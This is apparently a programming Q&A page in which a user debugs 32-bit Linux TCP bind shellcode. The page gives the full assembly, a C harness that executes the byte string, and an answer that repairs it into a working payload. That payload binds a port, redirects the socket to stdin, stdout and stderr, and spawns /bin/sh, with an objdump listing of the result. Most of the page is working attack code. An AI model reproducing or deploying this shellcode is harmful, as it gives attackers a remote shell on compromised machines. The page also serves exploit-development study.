Search code examples
cassemblytcpx86shellcode

32-bit shellcode executes in assembly but not in c on 64-bit os even with -m32


I'm working on a tcp-bind shellcode for a 32-bit system. The code is sitting on a 32-bit ubuntu and the host os is 64 Bit Windows 10 (do they even make 32 bit windows 10?)

The shellcode is a tcp-bind. It executes fine as its own standalone executable but when the code is converted to hex and is put into a c test program there is a segmentation fault. This occurs even when using gcc -m32 -fno-stack-protector -z execstack

Here's the shellcode disassembled

    global _start

    section .text
    _start:
    xor edi, edi

    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    push edi        ; INADDR_ANY
    push 1  ; SOCK_STREAM
    push 2  ; AF_INET
    mov ecx, esp    ; long *args
    int 0x80


    ;Bind
    mov edx, eax    ; reurn of Socket call is sockfd, place into edi
    mov al, 0x66    ; SysSocket syscall
    inc bl  ; Bind call
    push edi; INADDR_ANY
    push word 0x3582; Port Number
    push word 2     ; AF_INET
    mov ecx, esp
    push 16         ;addrlen
    push ecx        ;*sockaddr
    push edx        ;SockFD
    mov ecx, esp
    int 0x80

    ;Listen
    mov al, 0x66
    add bl, 2
    push edi
    push edx
    mov ecx, esp
    int 0x80

    ;Accept
    mov al, 0x66
    inc bl
    push edi
    push edi;
    push edx
    mov ecx, esp
    int 0x80

    ;ready for dup2

    xchg ebx, eax
    xor ecx, ecx
    mov cl, 2


    loop:
    mov al, 63
    int 0x80
    dec ecx
    cmp ecx, edi
    jge loop
    ; PUSH the first null dword
    push edi

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push edi
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

And here's the C code:

    #include<stdio.h>
    #include<string.h>

    unsigned char code[] = \ 
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
    \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
    \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
    \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
    \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    main()
    {

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

    }

Any help to figuring out when I can't execute in C and how to fix would greatly appreciated, please. Thanks!

I hold no liability for those that wish to use this code.


Solution

  • There are problems with the code you posted. Splitting the line up with line breaks shouldn't really compile. I'm not sure if you inserted line breaks into the question for readability and the original had the string defined on all one line. In a couple of locations there is an extraneous \. There is a \\x57 that should be \x57 and \\x7d that should be \x7d.

    It probably should have looked like:

    unsigned char code[] = \
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
    "\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
    "\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
    "\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
    "\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    "\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    

    The string above places each line between its own double quotes so they are concatenated by the compiler when parsed.

    Your assembly code is probably lucky that it was working as a stand alone application at all. Inside of another program it is likely the case the registers won't be zero. Your code does this:

    xor edi, edi
    
    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    

    You zero out the entire EDI register but your code relies on the upper bits of EAX and EBX being zero which may not be the case. You should zero both of those out with:

    xor edi, edi
    xor eax, eax
    xor ebx, ebx
    
    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    

    Adding the two extra instructions to zero the registers would make the string look like:

    unsigned char code[] = \
    "\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
    "\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
    "\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
    "\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
    "\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    "\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    

    OBJDUMP is a useful tool in this case. It can disassemble code and data from an executable (your C code in this case). You can use this output to confirm the string has the instructions you expect. objdump -D -Mintel progname where progname is the name of the executable. -Mintel disassembles the code and data with Intel syntax rather than AT&T. The output generated from your character array code looks something like this:

     08049780 <code>:
     8049780:       31 ff                   xor    edi,edi
     8049782:       31 c0                   xor    eax,eax
     8049784:       31 db                   xor    ebx,ebx
     8049786:       b0 66                   mov    al,0x66
     8049788:       b3 01                   mov    bl,0x1
     804978a:       57                      push   edi
     804978b:       6a 01                   push   0x1
     804978d:       6a 02                   push   0x2
     804978f:       89 e1                   mov    ecx,esp
     8049791:       cd 80                   int    0x80
     8049793:       89 c2                   mov    edx,eax
     8049795:       b0 66                   mov    al,0x66
     8049797:       fe c3                   inc    bl
     8049799:       57                      push   edi
     804979a:       66 68 82 35             pushw  0x3582
     804979e:       66 6a 02                pushw  0x2
     80497a1:       89 e1                   mov    ecx,esp
     80497a3:       6a 10                   push   0x10
     80497a5:       51                      push   ecx
     80497a6:       52                      push   edx
     80497a7:       89 e1                   mov    ecx,esp
     80497a9:       cd 80                   int    0x80
     80497ab:       b0 66                   mov    al,0x66
     80497ad:       80 c3 02                add    bl,0x2
     80497b0:       57                      push   edi
     80497b1:       52                      push   edx
     80497b2:       89 e1                   mov    ecx,esp
     80497b4:       cd 80                   int    0x80
     80497b6:       b0 66                   mov    al,0x66
     80497b8:       fe c3                   inc    bl
     80497ba:       57                      push   edi
     80497bb:       57                      push   edi
     80497bc:       52                      push   edx
     80497bd:       89 e1                   mov    ecx,esp
     80497bf:       cd 80                   int    0x80
     80497c1:       93                      xchg   ebx,eax
     80497c2:       31 c9                   xor    ecx,ecx
     80497c4:       b1 02                   mov    cl,0x2
     80497c6:       b0 3f                   mov    al,0x3f
     80497c8:       cd 80                   int    0x80
     80497ca:       49                      dec    ecx
     80497cb:       39 f9                   cmp    ecx,edi
     80497cd:       7d f7                   jge    80497c6 <code+0x46>
     80497cf:       57                      push   edi
     80497d0:       68 2f 2f 73 68          push   0x68732f2f
     80497d5:       68 2f 62 69 6e          push   0x6e69622f
     80497da:       89 e3                   mov    ebx,esp
     80497dc:       57                      push   edi
     80497dd:       89 e2                   mov    edx,esp
     80497df:       53                      push   ebx
     80497e0:       89 e1                   mov    ecx,esp
     80497e2:       b0 0b                   mov    al,0xb
     80497e4:       cd 80                   int    0x80